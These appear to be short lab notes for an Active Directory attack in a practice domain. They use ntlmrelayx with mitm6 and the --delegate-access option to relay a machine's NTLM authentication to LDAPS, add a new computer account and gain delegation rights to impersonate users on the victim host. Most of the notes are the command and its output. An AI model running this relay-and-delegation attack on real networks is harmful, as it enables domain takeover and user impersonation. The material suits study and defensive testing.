

ADD A NEW COMPUTER SPOOFING

WE CAN USE THIS METHOD TO CREATE A NEW COMPUTER TO ATTACK THE COMPUTER THAT AUTHENTICATED YOU OR IMPERSONATE THAT COMPUTER.

WE NEED TO SET UP THE MTM6 AS THE FIRST STEP THEN USE NTLMRELAYX

-DELEGATE-ACCESS: enable the delegation attack (UY QUYEN')

```
(trisdan@kali)~$ ntlmrelayx.py -t ldaps://10.0.2.16 -wh attacker-wpad --delegate-access

Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning:
Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
```

```
[*] HTTPD: Received connection from ::ffff:10.0.2.12, attacking target ldaps://10.0.2.16
[*] HTTPD: Client requested path: login.live.com:443
[*] HTTPD: Received connection from ::ffff:10.0.2.12, attacking target ldaps://10.0.2.16
[*] HTTPD: Client requested path: login.live.com:443
[*] HTTPD: Client requested path: login.live.com:443
[*] Authenticating against ldaps://10.0.2.16: THEPUNISHER$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD: Received connection from ::ffff:10.0.2.12, attacking target ldaps://10.0.2.16
[*] HTTPD: Client requested path: umwatson.events.data.microsoft.com:443
[*] Attempting to create computer in: CN=Computers,DC=MARVEL,DC=local
[*] Adding new computer with username: KORIENTMT$ and password: +z|XhXkW7J|<|C result: OK
[*] Delegation rights modified successfully!
[*] KORIENTMT$ can now impersonate users on THEPUNISHER$ via S4U2Proxy
[*] HTTPD: Received connection from ::ffff:10.0.2.12, attacking target ldaps://10.0.2.16
[*] HTTPD: Client requested path: umwatson.events.data.microsoft.com:443
[*] HTTPD: Client requested path: umwatson.events.data.microsoft.com:443
[*] Authenticating against ldaps://10.0.2.16: THEPUNISHER$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains

ACE
AceType: {0}
AceFlags: {0}
AceSize: {36}
AceLen: {32}

Ace: {
  Mask: {
    Mask: {983551}
  }
  Sid: {
    Revision: {1}
    SubAuthorityCount: {5}

    IdentifierAuthority: {
      Value: {'\x00\x00\x00\x00\x00\x00\x05'}
    }
    SubLen: {20}
    SubAuthority: {'\x15\x00\x00\x00Kq\xd8\xca,\xc1e\x1b\xb7\x8e\xfab\x00\x02\x00\x00'}
  }
}
```

FOR MORE INFORMATION: [The worst of both worlds: Combining NTLM Relaying and Kerberos delegation - dirkjanm.io](https://dirkjanm.io/the-worst-of-both-worlds-combining-ntlm-relaying-and-kerberos-delegation/)